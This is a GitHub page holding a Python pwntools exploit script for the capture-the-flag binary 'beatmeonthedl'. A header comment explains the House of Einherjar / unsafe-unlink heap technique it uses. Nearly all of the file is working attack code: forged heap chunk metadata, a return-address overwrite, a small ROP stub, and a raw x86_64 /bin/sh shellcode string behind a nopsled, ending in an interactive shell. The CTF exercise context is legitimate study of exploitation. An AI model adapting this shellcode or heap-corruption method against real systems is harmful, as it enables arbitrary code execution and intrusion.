-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbeatpwn.py
128 lines (106 loc) · 4.56 KB
/
beatpwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
########################################################################
# Challenge: beatmeonthedl #
# Category: pwn #
# Sadly i couldn't solve this challenge in time to pwn it on the server #
# however still wanted to create a working exploit for the heap method #
# 'House of Einherjar', so here it is :) #
# The method i ended up using to get shell is a little bit different to #
# others i have seen however is very simple. #
# #
# 1. Craft our 'free' chunk & our 'used' chunk on the heap ready for #
# free() & unlink. #
# 2. When the unsafe unlink occurs, set fd->return address of main & #
# bk->our rop chunk on the heap. #
# 3. the 'rop chunk' then does the following: #
# mov rax, shellcode_chunk_address #
# jmp rax #
# 4. Our shellcode chunk then has a nice nopsled & our x86_64 /bin/sh #
# shell #
########################################################################
#class for the process object (to make it easy to interface and exploit)
class Pwnable:
def __init__(self, p):
self.p = p
#these are pretty self explanatory
def login(self):
print("[+] Logging into lair")
username = "mcfly\n"
password = "awesnap\n"
#print(self.p.recvuntil('username:'))
self.p.recvuntil('username:')
self.p.send(username)
#print(self.p.recvuntil('Pass:'))
self.p.recvuntil('Pass:')
self.p.send(password)
#print(self.p.recv())
sleep(0.5)
def add_exploit(self,expstr):
print("[+] Creating exploit %s" % expstr)
self.p.send("1\n")
#print(self.p.recvuntil('text >'))
self.p.recvuntil('>')
self.p.send(expstr+"\n")
#print(self.p.recvuntil('|'))
sleep(0.5)
def print_exploits(self):
print("[+] Current exploits in database")
self.p.send("2\n")
#print(self.p.recvuntil('|'))
def delete_exploit(self, expid):
print("[+] Deleting exploit %s" % expid)
self.p.send("3\n")
#print(self.p.recvuntil('choice:'))
self.p.recvuntil('choice:')
self.p.send(expid + '\n')
#print(self.p.recvuntil('|'))
def change_exploit(self, expid, data):
print("[+] Changing exploit %s" % expid)
self.p.send('4\n')
#print(self.p.recvuntil('choice:'))
self.p.recvuntil('choice:')
self.p.send(expid+'\n')
#print(self.p.recvuntil('data:'))
self.p.recvuntil('data:')
self.p.send(data)
#print(self.p.recvuntil('|'))
p = process('./beatmeonthedl')
print("[+] ./beatmeonthedl %d" % p.pid)
beat = Pwnable(p)
#lets login
beat.login()
# ------ EINHERJAR method ------
#1. create 5 chunks.
beat.add_exploit("A"*8)
beat.add_exploit("B"*8)
beat.add_exploit("C"*8)
beat.add_exploit("D"*8)
beat.add_exploit("E"*8)
#this is our shellcode chunk for us to jump to.
shell_chunk = "\x90"*21 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#this is our rop chunk where we set up for our jump into our shellcode chunk.
rop_chunk = "\x90"*39 + "\x48\xC7\xC0\xB4\xA0\x60\x00" + "\xFF\xE0"
#mov rax, 0x60a0b4
#jmp rax
#address in the heap where we can jump & not overwrite our own values.
returning_to = p64(0x60a110)
#return address on the stack
ret_addr = p64(0x7fffffffe1f8-24)
#1. craft the 'free' chunk [64-bytes] + [prev-size 0x0] + [size 0xe41] + [where] + [what]
free_chunk = "A"*64 + p64(0x0) + p64(0xe41) + ret_addr + returning_to
beat.change_exploit("4", free_chunk)
#2. craft the 'used' chunk [rop-chunk] + [prev-size 0x0] + [size 0x53 (1010011)] + [padding]
used_chunk = rop_chunk + p64(0x0) + p64(0x53) + "\x00"*48
beat.change_exploit("3", used_chunk)
#3. craft a chunk with our shell_chunk so we can jump to it in our rop_chunk
beat.change_exploit("2", shell_chunk)
#now, if we attempt to free the third chunk, it should segfault within free()
#gdb.attach(p, '''
#b *main+178
#continue
#''')
#[+++] let the magic happen [+++]
print("[+++] let the magic happen [+++]")
beat.delete_exploit("4")
beat.p.sendline("lol")
p.interactive()